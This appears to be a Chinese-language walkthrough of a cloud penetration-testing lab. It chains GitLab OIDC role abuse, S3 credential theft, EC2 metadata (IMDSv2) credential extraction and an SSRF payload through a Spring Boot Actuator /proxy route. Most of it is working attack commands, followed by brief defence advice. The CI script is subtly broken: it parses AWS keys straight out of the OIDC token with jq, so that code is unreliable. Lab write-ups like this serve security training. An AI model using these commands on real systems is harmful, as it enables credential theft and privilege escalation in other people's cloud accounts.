利用 GitLab OIDC 与 Spring Boot Actuator 的云安全渗透技术

1. 背景与核心概念

1.1 GitLab OIDC 与 AWS 集成风险

OpenID Connect (OIDC) 允许 GitLab 作为身份提供商与 AWS IAM 集成。典型配置使用通配符（如 project_path:my-org/*）允许组内所有项目扮演 AWS 角色。这带来严重安全风险：

• 任何组内项目被入侵（恶意贡献者、脆弱管道、钓鱼攻击）均可利用共享 OIDC 信任
• AWS 账户 ID 公开易得
• GitLab CI 作业可非交互生成 OIDC 令牌
• AWS 不强制细粒度控制，仅依赖信任策略限制

AWS 2025年6月更新：新角色或修改角色必须验证 sub 和 aud 声明，否则 API 调用失败。

1.2 Spring Boot Actuator 端点风险

Actuator 端点提供应用监控和管理功能，但错误配置会泄露敏感信息（如环境变量、映射路由），成为 SSRF 和云元数据访问的入口。

2. 初始信息收集

2.1 AWS 权限枚举

aws sts get-caller-identity  # 查看当前用户
aws iam list-attached-user-policies --user-name pentester  # 尝试列出托管策略（通常失败）
aws iam list-user-policies --user-name pentester          # 尝试列出内联策略

2.2 使用 CloudFox 进行态势感知

CloudFox 是 Bishop Fox 开发的开源云安全评估工具，支持多平台权限分析。

cloudfox aws  # 执行扫描，结果保存于用户家目录

关键发现：

• 用户：bob、louise、pentester
• 角色：engineering（bob/louise 可扮演）、gitlab_terraform_deploy（GitLab OIDC 角色）、OrganizationAccountAccessRole（组织跨账户访问）

3. 攻击路径：滥用 GitLab OIDC 信任

3.1 分析 OIDC 角色信任策略

aws iam get-role --role-name gitlab_terraform_deploy

输出包含：

• 角色 ARN、创建时间、最大会话时长（1小时）
• 权限策略和信任关系
• 限制条件：仅允许 huge-logistics 组下项目，aud 必须为 https://gitlab.com

3.2 在 GitLab 中配置 CI/CD 变量

1. 访问目标仓库：Settings -> CI/CD -> Variables
2. 添加变量：
   • AWS_DEFAULT_REGION
   • AWS_ROLE_ARN（角色 ARN）
   • GITLAB_OIDC_TOKEN（通过 id_tokens 在 CI 中自动生成）

3.3 修改 .gitlab-ci.yml 获取凭证

oidc:
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
    - |
      export AWS_ACCESS_KEY_ID="$(echo $GITLAB_OIDC_TOKEN | jq -r .access_key)"
      export AWS_SECRET_ACCESS_KEY="$(echo $GITLAB_OIDC_TOKEN | jq -r .secret_key)"
      export AWS_SESSION_TOKEN="$(echo $GITLAB_OIDC_TOKEN | jq -r .session_token)"
      aws sts get-caller-identity  # 验证角色承担      

推送后查看 Build -> Jobs 日志确认执行成功。

3.4 枚举 S3 存储桶

修改脚本部分：

script:
  - aws s3 ls s3://huge-logistics-engineering-db3ba0baab43
  - aws s3 cp s3://huge-logistics-engineering-db3ba0baab43/backup.txt .  # 下载文件

文件 backup.txt 包含 louise 用户的 AK/SK 和区域信息。

4. 横向移动：从 louise 到 engineering 角色

4.1 配置 louise 凭证

aws configure set aws_access_key_id <AK> --profile louise
aws configure set aws_secret_access_key <SK> --profile louise
aws configure set region <region> --profile louise
aws sts get-caller-identity --profile louise  # 验证

4.2 承担 engineering 角色

aws sts assume-role \
  --role-arn arn:aws:iam::770926735562:role/engineering \
  --role-session-name newlouise \
  --profile louise

输出中包含临时凭证，配置为新配置文件（如 newlouise）。

5. 进一步渗透：获取 bob 的凭证

5.1 枚举 EC2 实例

使用 aws-enumerator 或 AWS CLI：

aws ec2 describe-instances --profile newlouise

发现私有 IP 10.1.20.57。

5.2 访问实例元数据

IMDSv2 验证：

curl http://169.254.169.254/latest/meta-data/ -i  # 返回 401 表示启用 v2

获取元数据令牌：

TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token)
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data

user-data 中泄露 bob 的 AK/SK。

5.3 利用 engineering 角色权限

该角色具有 iam:ListAttachedUserPolicies、iam:GetPolicy 等权限，可列出 bob 的附加策略和查看策略内容。

6. 利用 Spring Boot Actuator 端点

6.1 发现与枚举

目录扫描发现 /actuator 端点：

• /actuator/env：泄露 S3 存储桶名称
• /actuator/mappings：显示 /proxy 路由（存在 SSRF）

6.2 利用 SSRF 访问元数据

通过 /proxy 路由访问 IMDS：

POST /proxy HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

获取实例角色临时凭证（需适应 IMDSv2 令牌要求）。

6.3 访问受限 S3 存储桶

存储桶策略仅允许通过 VPC 终端节点 vpce-0dfd8b6aa1642a057 访问 private/ 目录。

生成预签名 URL（若有权凭证）：

aws s3 presign s3://challenge01-470f711/private/flag.txt --region <region> --profile bob

URL 编码后访问：

curl -X GET "$(echo $PRESIGNED_URL | sed 's/ /%20/g')"

7. 防御建议

7.1 GitLab OIDC 集成

• 避免使用通配符，限定到具体项目
• 验证 sub 和 aud 声明
• 定期审计 OIDC 信任策略

7.2 Actuator 端点

• 禁用不必要的端点
• 通过网络安全组限制访问
• 避免在环境变量中存储敏感信息

7.3 AWS 通用安全

• 启用 IMDSv2 并禁用 v1
• 遵循最小权限原则
• 使用 VPC 端点限制 S3 访问
• 定期轮转凭证和审计权限

8. 工具与命令总结

通过以上流程，攻击者可从初始有限权限逐步提升至跨角色、跨账户访问，最终获取敏感数据。防御需多层加固和持续监控。